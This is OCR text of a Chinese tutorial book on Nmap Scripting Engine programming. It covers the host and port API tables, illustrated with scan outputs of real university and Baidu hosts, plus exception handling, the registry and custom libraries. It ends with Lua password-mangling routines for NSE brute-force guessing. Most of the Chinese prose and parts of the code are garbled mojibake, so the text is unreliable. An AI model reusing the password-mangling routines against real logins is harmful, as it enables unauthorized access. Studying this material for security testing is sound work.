1EVH FH R B e i — BT 45 B, X B8 pR BT RE 2R I IE—AME . i, —ANH WA ek
¥ string find() FA PR EHE, B4R TR IE FhR, WRALEZEVCE R [B] nil,
{51 0T T X SR 1E ]

String,ﬁnd (HhEllG", "11")



146 » #HE#WZIR—Nmap MELEHIHEARBI

XA R IR [FHME S 2 3,4,

X SRER B R Y 3 4.

print (string.find ("hello™, "11"))

AR HARZE string find iR PSS —/ME, FTDMEREARE (AITHEZ) RIAMEEFATE
FI%E

Local , s = string.find("hello "™, "™ 11 ")

HEXEEAA—EARRNTIFER, X TIREATZAE LUE L B —1 AR
7 FORAL B, XAMEAR R _ (FImZk) Wraok#EnR, BARUERNESHETT.

INE;

W1, PMAEDLA>] T Nmap JFEAMKEH Lua 155 &0, XS N ZZHNT Lua K23
HRERDE—R4r, HAERHHAAZE T Lua BELS. 157, B E, RBEREAZS
Lua H3E, EIF—AEEA Lua 5522 . N T —EEH ] IR GE #1727 > NSE KRS .



CHAPTER

F10E
NSE (9 API 10

TS 9B, AR T — I BEMEA, @2 XA, ZMAEITT NSE H &
if, AT LASE 43 FAH Nmap 374 B 28 B3R5 59 0 T FEAL AN 0 AE S, B3RS MERfERE R
1 NSE H1#) API B2 A S M R Z BIHT R, TEAREHRS TRWT NA.

Q T f# Nmap A APIL,

Q T f# Nmap H 19 host table,

Q T f# Nmap A port table.,

Q i/ NSE i registry 7EJARHILZF R

Q 4bPE Nmap I F%H .

10.1 Nmap API

Nmap H' API A0 D REWLAZ [n] AR A5G T £ AR D E S, Plans =, FEHl
Hiv PR . IRF RBLFN A

Nmap H #5122 1a] I ASAZ 336 40 F P91 Lua table 28BS4

 host table

A port table

X P table AL T HAr EVLA host Fl port BY{5E B . X L{5 B AV 412 E B
THEE ST FE LI options W E, BN, WRAEDFBEATEEZEXN EVHNIRERS
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FEATHAMAIE, A4 host.os N2 2 M. P4 H T X P table Hh &4~ 48 & 1
iR o

10.1.1 host table
host table #&—|* lua table ZRAIIEHE, £ F R AN AHPAERFEBHAS.

1. host.os

host.os FE LS T BARMEAE R G I, XNFEBPaLE T —1RAITE WHERIER S
EEREA, B ERGMMLN R . FTB RS, BERIS | &8 CPE &, WAREA
FEWA W ENE, XNFEA LA nile FHEZH T — host.os FYEASLH]

host.os = {
{

name = "Linux 2.6.32 - 3.2",

classes = {
{

vendor = "Linux",

osfamily = "Linux",

osgen = "2.6.X",

type = "general purpocse",

cpe = { "cpe:/o:linux:1linux kernel:2.6" }
b
{

vendor = "Linux",

osfamily = "Linux",

osgen = "3,X",

type = "general purpocse",

cpe = "cpe:/o:linux:linux kernel:3" }

{
}
by

}
}

X B GE — A KAEF XL APLIYNE . BAE— | host.os PHINA, EXE
FEVZAS T B B AT N2 hostrule, X2 KA host.os IXNSERTE EHLREAE R AR SE K
LUEA AR, Kl 10-1 51 ¥ — B host.os (AU

F XA A< H /) return host.os #54], BT LA B4 #2114 136 B9 host.os HI{H. 1
FHX A AT —AS s TR, X B DL www.baidu.com #uhik >4 H xR,

Nmap -0 --script my-API-test www.baidu.com

PATEE R R [P ) host.os {ELANE 10-2 Fi7w,
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C:\Program Files (x86)\Nmap\scriptsimy-APl-test.nse

local shortport = require “shortport”

description = [[]]

author = “Administrator”

[= I ¥ 5 I U % B e R

license = "Same as Nmap——See http://nmap. org/book/man-legal.html”

categories = {"default”}

10 hostrule = function( host, port )
11 return true
12 end

15 action = function(host, port)

16 return host. os

19 end

K 10-1 A my-API-test.nse A NZ

Starting Nmap 7.38 ( https://nmap.org ) at 2016-10-31 11:51 2D1G+Ex2E+2?
Nmap scan report for www.baidu.com (61.135.169.125)

Host is up (@.8877s latency).

Other addresses for www.baidu.com (not scanned): 61.135.169.121

Mot shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443 /tcp open https

Warning: 055can results may be unreliable because we could not find at least 1 open and 1 closed port
Device_type: switch

Running: HP embedded

05 CPE: cgg:{h:hp:prncurve_switch_4aﬂﬁd

0S details: HP 4888M ProCurve switch (J4121A)

Host script results:

| my-API-test:

name: HP 4808M ProCurve switch (J4121A)
classes:

vendor: HP
type: switch
osfamily: embedded
cpe:
cpe:/h:hp:procurve switch 4066m

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds

B 10-2  BUTE R AR AR host.os {E

2. host.ip
host.ip FE A E T Hin# 1P Huhtk, [FAE LA www.baidu.com 4 H AR, 4 my-API-
test FHYEE 16 TTHECH AT WA

return host.ip
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WRJFPATXA A, PATE R R [T host.ip fE AN 10-3 Fis .

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-31 11:55 ?D10xéx2&+2?
Nmap scan report for www.baidu.com (61.135.169.125)

Host is up (©.8889s latency).

Other addresses for www.baidu.com (not scanned): 61.135.169.121

Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443 /tcp open https

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device_type: switch

Running: HP embedded

0S CPE: cpe:/h:hp:procurve_switch_4000m

05 details: HP 4888M ProCurve switch (J4121A)

Host script results:
| my-API-test: 51.135.159.12ﬂ

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.48 seconds

& 10-3  $ATE R IR A host.ip {H

3. host.name
host.name FE P& T HArA L n] DNS 4144, XU LI IP Hihk 211.81.200.8 2 H#r,
BEHAS my-API-test FHIZE 16 TTHEBCHITT N%.

return host.name

RIGTAT XA, $AT45 R 1% [B] ) host.name {H AN & 10-4 Fir7w .

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 11:57 ?2D1Gzex?E+2?
Nmap scan report for ghy.tstc.edu.cn (211.81.200.8)
Host is up (©.8072s latency).

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

8O/tcp open http

111/tcp open rpcbind

3306/tcp open mysql

8009/tcp open ajpl3

8192/tcp open sophos

Host script results:
| my-API-test: ghy.tstc.edu.cn

Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds

B 10-4  PATE R AH R Bl host.name {H

4. host.targetname

host.targetname FEH U T BAR EVFEM ST RIS FE

5. host.directly_connected
host.directly connected ¥ B &— M7 /R1H, Fs BiniHEILER S KT EE T,
B BIAR my-API-test HAYSH 16 77 AU NA
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return host. directly connected

X HLAR—~7 R A B4R 10.16.39.23 2 HAs (FRAYHENER 10.16.39.88 ) $ATARS .

Nmap --script my-API-test 10.16.39.23

PAT8E A H IR [P host.directly connected {HANE 10-5 FT7R .

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 12:04 3D1(+&x?8+2?
Nmap scan report for bogon (18.16.39.23)

Host is up (@.808098s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 90:21:86:24:8E:F7 (Universal Global Scientific Industrial)

Host script results:
| my-API-test: true

Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds

A 10-5 $ATE R AR B #Y host.directly connected {H

WA LI— Nk 211.81.200.8 A AT 2 o

Nmap --script my-API-test 211.81.200.8

AT R i 9 host.directly connected {E A 10-6 fizn.

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 12:08 ?D10iéx?gx??
Nmap scan report for jyxx.tstc.edu.cn (211.81.200.8)
Host is up (©.8855s latency).

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

BO/tcp open http

111/tcp open rpcbind

3306/tcp open mysql

8009/tcp open ajpl3

8192/tcp open sophos

Host script results:
| my-API-test: false

Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds

!
E 10-6  HATEE R H R [E] ) host.directly connected {H

6. host.mac_addr
host.mac_addr 7B /& HARH MAC ik, HFERAGLATR —FMEES, XTS84 H
Mo FEAA my-API-test FHYZE 16 175 ST F NAS

return host.mac addr

PATEE R IR B ) host.mac_addr fHINE 10-7 Fias.
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Starting Nmap 7.38 ( https://nmap.org ) at 2016-10-31 12:11 2D10*éx2g+2?2
Nmap scan report for bogon (10.16.39.23)

Host is up (@.88092s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: ©9:21:86:24:8E:F7 (Universal Global Scientific Industrial)

Host script results:
my-API-test: \x8@!\x86%\x8E\xF7

Nmap done: 1 IP address (1 host up) scanned in 8.5@ seconds|

& 10-7  PATE R R [EIH) host.mac addr 1B

7. host.mac_addr _src

host.mac_addr_src 7 Bt FP2 il F 93501 E) MAC Hihk . K57 my-API-test H1 155 16
FTEBCN T A

return host.mac addr src

PATEE R HIR [P/ host.mac_addr src {HUAE 10-8 Fis .

Starting Nmap 7.30 ( https://rnmap.org ) at 2016-10-31 12:19 2D10+Ex28+2?2
Nmap scan report for bogon (18.16.39.23)

Host is up (@.8014s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: ©0:21:86:24:8E:F7 (Universal Global Scientific Industrial)

Host script results:
my-API-test: \xFCM\xD4<Y\x1l

Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds

K 10-8  HATEE R H IR M A host.mac_addr_src ff

8. host.interface_mtu

host.interface mtu FEBH M HF ) MTU (H, B HA my-API-test H 5 16 T8 BN
WFAE

return host.interface_mtu

BT 45 R H IR [ host.interface mtu fE AN 10-9 7R,

9. host.bin_ip
host.bin_ip =Bt H N = H 4-byte FZAF 52 R 19 1Pv4 HARME LA KA 16-byte F
FreRFRoNA) IPve HAoRkbhE, KA my-API-test FHIZE 16 FTHEBCHIIT AZA

return host.bin ip

PATEE SR AR B A host.bin_ip fE 4N 10-10 fi7s .
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Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 12:20 ?D1G:éx?8&:2?
Mmap scan report for bogon (10.16.39.23)

Host is up (©.80878s latency).

Mot shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

A45/tcp open microsoft-ds

MAC Address: ©9:21:86:24:8E:F7 (Universal Global Scientific Industrial)

Host script results:
| my-API-test: 1500

Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds

K 10-9 $AT45 i Bl host.interface mtu {H

Starting Nmap 7.38 ( https://nmap.org ) at 2016-10-31 12:22 2D10*+Ex2E+2?
Mmap scan report for www.tstc.edu.cn (211.81.208.8)
Host is up (©.8877s latency).

rDNS record for 211.81.2008.8: zygl.tstc.edu.cn

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

BO/tcp open http

111/tcp open rpcbind

3306/tcp open mysgl

8009/tcp open ajpl3

8192/tcp open sophos

Host script results:
| my-API-test: \xD3Q\xC8\x08

Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds

B 10-10 PATE R H IR [E ) host.bin_ip {H

10. host.bin_ip_src

host.bin_ip_src FE A E I HhE, — AR 1Pv4 k& =3 R Bl B TS L bk
F—AEH 1Pve &R Br AL L

11. host.times
host.times “FE F AN ASE BRI PR, HFIIAS my-API-test AV 16 1758 SO AT R WA

return host.times

PUTSE [ host.times {HANE 10-11 Fzs

Starting Nmap 7.3 ( https://nmap.org ) at 2016-10-31 12:25 2D1GzEx?8+??
Nmap scan report for www.tstc.edu.cn (211.81.200.8)
Host is up (@.8865s latency).

rDNS record for 211.81.200.8: xsc.tstc.edu.cn|

Mot shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

8a/tcp open http

111/tcp open rpcbind

3306/tcp open mysgl

8009/tcp open ajpl3

8192/tcp open sophos

Host script results:
| my-API-test:

| rttvar: ©.002287
|  timeout: @.1

|_ srtt: 8.886525

Nmap done: 1 TP address (1 host up) scanned in 18.43 seconds

B 10-11  $ATEE R AR [P A host.times {H
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12. host.traceroute

host.traceroute 7Bt H BB R A 7E48 & --traceroute I A4 H A, B IHA my-API-test H /Y
16 TTHBCH T NEE
return host.traceroute

FATEE SR R ] Y host.traceroute {HUNE] 10-12 Pk

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 12:26 2D1G*Ex2&+22
Nmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (@.8876s latency).

rDNS record for 211.81.200.8: www2.tstc.edu.cn

Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh

B@/tcp open http

111/tcp open rpcbind
3306/tcp open mysql
8009/tcp open ajpl3
8192/tcp open sophos

Host script results:

| my-API-test:
|

ip: 1@.16.39.254
name: bogon
times:

srtt: 0.002|

ip: 172.16.21.13
name: bogon
times:

srtt: 8.8a3

ip: 172.16.21.130
name: bogon
times:

srtt: @8.8a3

ip: 211.81.200.8
name: www2.tstc.edu.cn
times:

srtt: 0.887

K 10-12 475558 %R [Pl #¥ host.traceroute {H

10.1.2 port table
port table #. & Lua table JEZAFHAY, & T K41 H0 4 H a5 B+ B

1. port.number

port.number FEARR T Hindig 45, FFEUEERS —BA, 7£—RAKBYERHD
AR FT BN XA~ APL, & 10-13 FioR .

SRJE LA 211.81.200.8 O Hir kAR XXM R = A RNH, & 10-14 Fros.

2. port.protocol
port.protocol FEARIA | Hinvm HAY2EAY, v LI TCP 8 UDP, ¥ my-API-test.nse H
fR3R [RE A port.protocol, HUATHIZESRUNE] 10-15 Fizs.
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C:\Program Files (x86)\Nmap\scripts\imy-APl-test.nse

local shortport = require “shortport”

description = [[]]

author = “"Administrator”

m o e W R e

license = "Same as Nmap--See http://nmap. org/book/man-legal. html”
categories = {"default”}

oo

10 portrule = function( host, port )
11 return true

12 end

13

14

15 action = function(host, port)

16 return purt.numberl

17

18

19 end

& 10-13  #%0T port.number FY my-API-test.nse

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 12:33 2D1uxéx?é+??
Nmap scan report for www.tstc.edu.cn (211.81.200.8)
Host is up (8.8889s latency).

rDNS record for 211.81.2008.8: shkx.tstc.edu.cn
Not shown: 994

PNRT ETATE

closed ports
SERVUTCF

22/tcp open
| _my-API-test:
8@/tcp open
| _my-API-test:
111/tcp open
| _my-API-test:
3386/tcp open
| _my-API-test:
80089/tcp open
|_my-API-test:
8192/tcp open
|_my-API-test:

ssh

22
http
aa
rpcbind
111
mysql
33886
ajpl3
2889
sophos
8192

K

155

Nmap done: 1 IP address (1 host up) scanned in 18.31 seconds

] 10-14 {3 my-API-test.nse T ERAY H bR 1 45 5%

Starting Nmap 7.38 ( https://rnmap.org ) at 2016-10-31 12:35 ?D10téx2&+2?
Nmap scan report for weww.tstc.edu.cn (211.81.208.8)
Host is up (©.8@88s latency).

rONS record for 211.81.200.8: jwc.tstc.edu.cn

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

8a/tcp apen
111/tcp open
3386/tcp open
8889/tcp open

8192/tcp open

| my-API-test:
| my-&PI-test:
| _my-API-test:
| _my-API-test:

| my-API-test:

tcp
http
tcp
rpcbind
tcp
mysqgl
tcp
ajpl3
tep|

sophos

|_my-API-test: tcp

Nmap done: 1 IP address (1 host up) scanned in 1€.31 seconds

/K 10-15 f#H ] my-API-test.nse F]EJ ) H niipisl 45 5%
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3. port.service
port.service B R T i I FiBs4T AR 55 o # my-API-test.nse H AR [B{H 2 A port.
service, PUTHIZRUNE 10-16 7R,

Starting Nmap 7.38 ( https://nmap.org ) at 2016-10-31 12:36 2D10xEx?E+??2
Nmap scan report for www.tstc.edu.cn (211.81.200.8)
Host 1is up (8.8858s latency).

rDNS record for 211.81.200.8: hqc.tstc.edu.cn

Not shown: 994 closed ports

PUK | SIAIE SERVILE

22/tcp open ssh

| _my-API-test: ssh

o8/tcp open http

| _my-API-test: http

111/tcp open rpcbind

| my-API-test: rpcbind

3306/tcp open mysql

| my-API-test: mysql

8009/tcp open ajpl3

| my-API-test: ajpl3

8192/tcp open sophos

| my-API-test: sophos

Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

& 10-16 i ] my-API-test.nse ¥JENAY HFR AR 5545 5%

4. port.version
port.version F Bt FARAE 1 il ot AR5 HHE AT {E B, 445 name. name confidence.

product, version, extrainfo, hostname. ostype. devicetype. service tunnel, service ftp DA J&
cpe_code FFF B, FEXNFERGEZMHZSE sV, K my-API-test.nse FHJi& [F{E A port.
version, BAKATLSUT .

Nmap -sV --script my-API-test www.tstc.edu.cn

PATHIZE FANE 10-17 FTos .

Starting Nmap 7.38 ( https://nmap.org ) at 2016-10-31 12:38 2D10+éx?&+2?
Nmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (©.8874s latency).

rDNS record for 211.81.200.8: ghy.tstc.edu.cn

Not shown: 994 closed ports

™M T FTATFE FERLUITAF LD ETOAR

22/tcp open ssh OpenSSH 5.3 (protocol 2.09)
| my-API-test:
| name_confidence: 18.8

cpe:

|

| cpe:fa:openbsd:openssh:5.3
| service_tunnel: none

| name: ssh

| service_dtype: probed

| version: 5.3

| product: OpenSSH

extrainfo: protocol 2.0

AT N falat =1l OTTE LU P

K] 10-17 {853 my-API-test.nse FTERAY H AR AR 55 WA= B,
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5. port.state
port.state “FEB PR T 3w 0 s 47T FIRZE, B my-API-test.nse H A 1% [B1{H 2 A port.
state, PTG R UNE 10-18 s,

Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-31 12:41 ?D10zéx?E+2?
Mmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (@.8897s latency).

rDNS record for 211.81.200.8: hqc.tstc.edu.cn

Mot shown: 994 closed ports

PORT STATE SERVICE

22/tcp open ssh

88/tcp open
111/tcp open
3386/tcp open
8009/tcp open

B192/tcp open

| my-API-test:
| my-API-test:
| my-API-test:
| my-API-test:
| my-API-test:

| my-API-test:

open
http
open
rpcbind
open
mysql
open
ajpl3
open
sophos
open

Mmap done: 1 IP address (1 host up) scanned in 11.65 seconds

] 10-18 81 my-API-test.nse FTEIRY HArdm O Fig47 ok A

10.2 NSE i) 5eig b B

NSE A —Fh R AL HE 52 7 AL . X R AL B9 TAE AR A 5, FFAE RFEER
Wea 55 A B AE Nmap.new _try() FIFES P EIAT XA pRED S —N R FE LR TR
Ao GRAIR[PUEDN false B3 nil, 55 MR EERLR —MERMRB T 4.

WI5R Nmap.new_try() PR B F 5, & LAY catch lRECKSTAT. W FUHEESH T
— B, FERF AR SR B EAITE, catch PRECKE AT B3 FICHLA o

local catch = function() socket:close() end
local try = Nmap.new try(catch)

try( socket:connect (host, port) )
respoNSE = try( mysqgl.receiveGreeting (socket) )

X s — A HirEVLLE finger Aid5 095241 .

XA AL AN F A AR ARRL, (AR BRr iR 2w 8, HRF RS il A
S AR —MBAF B 2T 5. Nmap H AR L S 5 A0 BRAY 2, X2 (0 48 46 -t 2
Nmap, Nmap FH#UET —4 new _try() iR A1 — #1057 H A B LT handler. I EREGR
Bl —A S W AL AR PP D) 6B, HIXA handler ¥ ] BB & AR 52 W BU PRECE S 7E LI, 7ERAT
e, SRXASRECHE T 5%, ERREMERLE —A false 804 nil, J5HE— R TH
B, WRBIIPATHE, BRI EHERE— true, 5 HE—HABSR
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WERAZ B 1, XA PLS lian R g,

portrule = shortport.port or service (79, "finger")

action = function (host, port)

return comm.exchange (host, port, "\r\n", {lines=100, timeout=5000})

end

{B2% JES7EM 1T comm.exchange BREN, RAMRESHIMRH, A/ A — it
H try,

try = Nmap.new try(catch)

SRJE ¥ comm.exchange i3] try HITE N o

return try(comm.exchange (host, port, "\r\n", {lines=100, timeout=5000}))

XA, IR comm.exchange IEHPATHIE, #EalLLREIRAME, GRHBISEE, #inl
LLIR [B] X5

XA ) SE ARSI A 10-19 Fis.

C:\Program Files (x86)\Nmap\scriptsifinger.nse

@0 0 =1 O N = W B e

— = = = =
N = LI B = O

16

local comm = require ~comm’

local nmap = require nmap

local shortport = require "shortport”

description = [[

Attempts to retrieve a list of usernames using the finger service.
1]

author = "Eddie Bell”

license = "Same as Nmap——See https://nmap. org/book/man-legal. html”
categories = {"default”, "discovery , “safe’}

I:nr‘crule = shortport.port _or_service(79, “finger”)

action = function(host, port)

local try = nmap.new_try()

return try(comm. exchange (host, port, “‘r'n’,
{1ines=100, timeout=5000}))

end

/& 10-19 my-http-detect.nse H5E24 0
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10.3 NSE i

NSE MRt 2 —> lua table BB EIE X, B FEARAAAAE—K A H &£ A
ZEALE AR R, XM EM R —1% 4 Nmap.registry 28 &=, 224061+, HMH
TA T B AR 043517 2SI g A e, 5o DLBE XN R IE B LD i - 42 FE Y
PRFEEER, DIMEHABRAM R, flan, #&E2 7 BArrH P 240 admin, %454 123456,
NSE i &#t7— i AERE .

table.iNSErt (Nmap.registry.credentials.http, { username = admin, password
=123456 } )

N 4A

{5 F Nmap 4@t i) APT 24 5 HE e i e R0, AT A28 1 Nmap H 9
A4 FH A API : host table F1 port table, FiFEAN%E H T XA table PR EAKRNE . HAMNES
257 unfalF F NSE ) registry 78I sp 32245 B A X ol b ¥ Nmap 59 5% o



CHAPTER

FUE
I Sse eommesc

BROHA ) g A1 = DA RHEZRAR ], NSE o BSOS TACRS A - AR, XA BT
XA T Ao W LA EAE AN 28 e A R A B . A B SRR UE YA B A 1T

WU A () S 4030 n] Ll X e Rk AL BE . Nmap 1 HRTHA
KME 107 ANFESCHE, X B PE SO T L S /0 A AT
S B LA AL BRERE, B2 E T R CEIXTH
24 NS AT B % 1Y brute FESCHF . 24795 NSE A f Bsf
foe, YRAIRE = R BCAS EA B MR, i M ff DT 00 A2
P %0 ARG B EE A NSE B9 SCH . FR52 1, NSE JESUHH)
O R IE R LAY . NSE H ) 2 SO KER 2] Lua 155 44
B, HERMERMEH C 8 CH BT 2T
THEERER— T X EEF, 7F Halcyon IDE v2.0
ZE B 3k “ Nmap Libraries” o & 11-1 H 3] H #9562

Nmap H S
X — B PRS2 U INES
Q Wi 445 NSE FE 3.

Q ¥ JB—4~ NSE JFE X Thfig.
Q NSE Hf C/C++ Bibh
Q NSE i % OLZE ST

= Halcyon IDE 2.0 - IDE for Nmap Script Development

File Edit Project Help

Dooe &eoaa o0l

( Nmap Scripts r HSE Data

CAProgram Files (x26RMNm

[ afp.ua
[ ajp.lua

w ||

A 11-1 Nmap 1A
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11.1 NSE J& X% 5

TH%wE — A A9 NSE FE . B/cE AR, Halcyon IDE v2.0 Zwbgws 1 IF30A #R41E
NSE JE X5 R0, HIE L E—3 g ok s o U A A X ol

NSE JFE U BRI AL R Nmap 2% H 5% F i /NSELb/, BEARBERWTF

T 1. X HFEHEIE—24 8 myfirstlib.lua B 3CH, W0E 11-2 s,

m&{c:] » Program Files (x86) » Nmap » nselib »

T8 #FEIH)
== st
- EW e gwmt == y G\
- rrlblpuypt‘h.lua LULW IS L0 SR Lua SLnpn rie LD ™D
"~ mssqllua 2016/9/28 EHA..  Lua Script File 112 KB
" multicast.lua 2016/9/28 E£84... Lua Scnipt File 7 KB
. myfirstlib.lua 2016/10/31 EE8.. Lua Script File 0 KB
E O mysql.lua 2016/9/28 EEA... Lua Scnpt File 18 KB
8 natpmp.lua 2016/9/28 E54... Lua Script File 6 KB

Bl 11-2  AlEE— 4~ myfirstlib.lua #9304
IR 2. TEXDHRIER SRR ANE 11-3 B E

Mj myfirstlib.lua - g8+ E = | % Ia

YD BEE B0 =RV =230

function PrintPort (port)

return string. format (“The port *%s’ is open”, port)
|end

-«
|_ E547. 515

— T

K 11-3  myfirstlib.lua SCEEF AR A
X BARRS A S — AT B T TR ZEAYE SO, stdNSE JE SO R ORAF T — S8 R Ah B A Y
PREL
local stdNSE = require "stdNSE"

T B E— R, XNRHEE NS, BB NSEULZ 8%, stdNSE FE, H
TRk format PRZEL,

function PrintPort (port)

return string.format ("The port '%s' is open",port)
end

XANPESCHFSE R LA S, RTHSATORAE, GNEl 11-4 Fon o AT LATEAT AT i) A A i R 2
S
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= i EGE: ==
s INSEpLypES.ua LULU Y[ L0 SE=RA...  LUG SLHPL FliE
8 mssql.lua 2016/9/28 £§j.. Lua Script File
* multicastlua 2016/9/28 £&4... Lua Script File
| 7. myfirstlib.lua 2016/10/31 E.. Lua Script File
. mysql.lua 2016/9/28 Z2H4...  Lua Scrnpt File
“. natpmp.lua 2016/9/28 EHi...  Lua Scrnpt File

B 11-4 7] LAgE R A myfirstlib.lua 3C/4

$ B 3. 45— A my-library-test. NSE, 7F3X AN IAS sl Fax AN 3o, e 11-5
Fir7s

|’ C:\Program Files (x86)\Nmap\scripts\imy-APl-testnse | C:amy-ibrary-test.nse

-

= ire
2 local myfirstlib = require “myfirstlib”

author = "Administrator”

license = “Same as Nmap—See http://rmap. org/book/man-legal. html”

=) = I ¥ 3 B

categories = {"default”}

Ca

10 portrule = function( host, port )
11 return true

12 end

13

14

15 action = function(host, port)

16

18
19 end
20
21

K 11-5 S AT myfirstlib FEFRIAR
T4, PFHXEE, WE 11-6 Fimn,

16 action = function(host, port)

17

18 return PrintPort (port. numberb
19

20 end

K 11-6  T7ERIAHE A PrintPort() PR
$B, 5. WARSSZHMLIS, LL211.81.200.8 b HIFHUTIXAN A .

Nmap -p 80 --script my-library-test 211.81.200.8
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PATRIGE R ANE 11-7 Frzs .

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-10-31 14:08 2D1(+&x2&+2?
Nmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (©.8813s latency).

rONS record for 211.81.200.8: zzb.tstc.edu.cn

PORT  STATE SERVICE

| [
_my-library-test: The port '8@' is open
Nmap done: 1 IP address (1 host up) scanned in 10.87 seconds

&l 11-7 {&i A my-library-test B A 4521
W1, e E AT A Z AE R

11.2 P Jg AW NSE JE X1k

NSE FERDhaE T K H 41, (HEA MR, bl B RS RRIR 15 OU X 33X L8 FE A T8,
@i, FEXT H R i % i 58 BE E AT B TR BB, n] BB TR A A 2 n] DAY Rl R T AR B AN T
H., AR5 FHE TR 8 1 EAX A2, BT LAX NSE 1/ brute FEAATHGE . X B
1%} brute RS HITES, KL X LFM A S TR

T, MAEFHUE XA RE XA R, & XA egFml,

Q digits : FIAH AR LA 2 6 AEFAS, DIERIIA T WEFHE (FlmE
r55), RIGHXEHGR MBS ARNC S, B0 )7k 2 pass, JR-A G058 8t &
passl, pass2 5%,

Q strings: XTFAFERIATH WHEAE, Flanfm, 2. K5, HHsE,

Q special: [ FAFREMFFR R, Bl $. # 55,

Q all: XAFLEDLEFrA SN2 A .

{5l fn—A~5.38] Hello, PR iX & — AN LAY 6], AT RE AT & B — DR AR HE,

K AR 22 A n] g 2o FH BTl I HAR A5 i 77 20, sl Bia] b AT I R g Z R YA, TR AN
T ILFME A THAE

= 1 g

H e A\ B0 d IR + S =, B8 hello2016., hello2015 %5, AFAHLAT AR E —4
PR AR SC X XA BRI 8, XA S Bl AR AR TS, W 11-8 Pis.

Zd XA RBANEZ JE, — P RTFAY IR “world” ST RENINT BTN

world 2016
world 2015
world 2014
world 2013
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world 2012
world 2011
world 2010
world 2009
world 2008
world 2007

local year = tonumber (os.date( %Y ))
coroutine. yield( user, pass..year )
coroutine.yield( user, pass..year+l )
for 1 = year, year-10, -1 do

coroutine.yield( user, pass..1i )

end

B 11-8 Az dmilt HAFAR O BOACHSER 43

B 2 MER

AL NS BE + BeF a9 =, B0 hellol . hello88 2%, ARAML AT A% 5 —> PR%K
RIS XA LY R, KX DRI SRFHTHE, HEE - T 5 BT HTHS,
SEEEARRS I 11-9 FTs .

for 1 =0, Y do

coroutine. vield( user, pass..1i )

end

B 11-9 =AM 0 & 9 TR 4
Z XA R Z 5, — /MR ERAEAR] “hello” BLEY MU iR,

hello 0
hello 1
hello 2

hello 9

XA S A B TS, LA A 11-10 B,

for 1 =0, 9 do
for x =0, 9 do
coroutine.yield( user, pass..1..x )
end

end

E 11-10 =4 M\ 00 3] 99 Fr 7 my a4
XN REA B Z i, — I TRHE A “hello” BLET BN RN,

hello 00



hello 01

hello 99
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A Mo \ X — BB F 40 A A IR, T 123456, 666666, 888888 “5, L A LKk M2
Ausime)E s, SCE AR A 11-11 iR

hellol234
hello6bbb
hello8888

coroutine. yvield( user, pass..” 123" )
coroutine. vield( user, pass..”1234" )

coroutine. vield( user, pass..”12345" )

A 11-11 ¥ ESE A AR
Z XN REAC 2 5, — P REEAY I “hello” FLEY RBAU T RN,

56
66
88

5 3 MMEi
AUERFHEW R INGRY, A RA L NSV F IR S /R NS, T
i g5 — > R EOR LA R AP EAE, BInRE . m, B, EES, LA mE

11-12 s

local leetify = {["a"] = 74",["e"] =73 ,["1"] =717, ["e"] =707}
local leetified_pass = pass:gsub("%a", leetify)

coroutine. yield( user,
coroutine.yield( user,
coroutine, yield( user,
coroutine.yield( user,
coroutine, yield( user,
coroutine.yield( user,
coroutine, yield( user,
coroutine.yield( user,

coroutine.yield( user,

leetified pass )
pass:upper() )
leetified_pass:upper() )
pass:lower () )
pass:reverse() )
pass:sub(1, 1) :upper ()..pass:sub(2) )
leetified pass:sub(l, 1):upper()..leetified pass:sub(2) )
pass:rep(2) )
pass:rep(3) )

secret99
secretl23
secretl23
secretl23
s3cr3t
SECRET
S3CR3T
secret
terces
Secret

B 11-12 X Ealged T WAR BB E Ao ACHS
X B DL secret M), ARG RS AT .

4
45
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S3cri3t
secretsecret
secretsecretsecret

IR, AT AFEX LR 05 5 A IR AT, 18] 11-13 J2 AN R AF A UG .

coroutine. yield( user, pass.. ¥

coroutine.yield( user, pass.. #
coroutine. yield( user, pass..

coroutine. vield( user, pass..

LM
LM
T T T T "

coroutine. yield( user, pass.. @

B 11-13 KRR S H AR A AT T A A AU
ZrL X R Z S, — R EIE] “hello” FLEY R AU TR

secret$
secret#
secret!
secret.
secret@

% T %5 —1> pw_mangling_iterator PRZE LI LA 2 BRLIN . b T 4 3] ity S it — 2
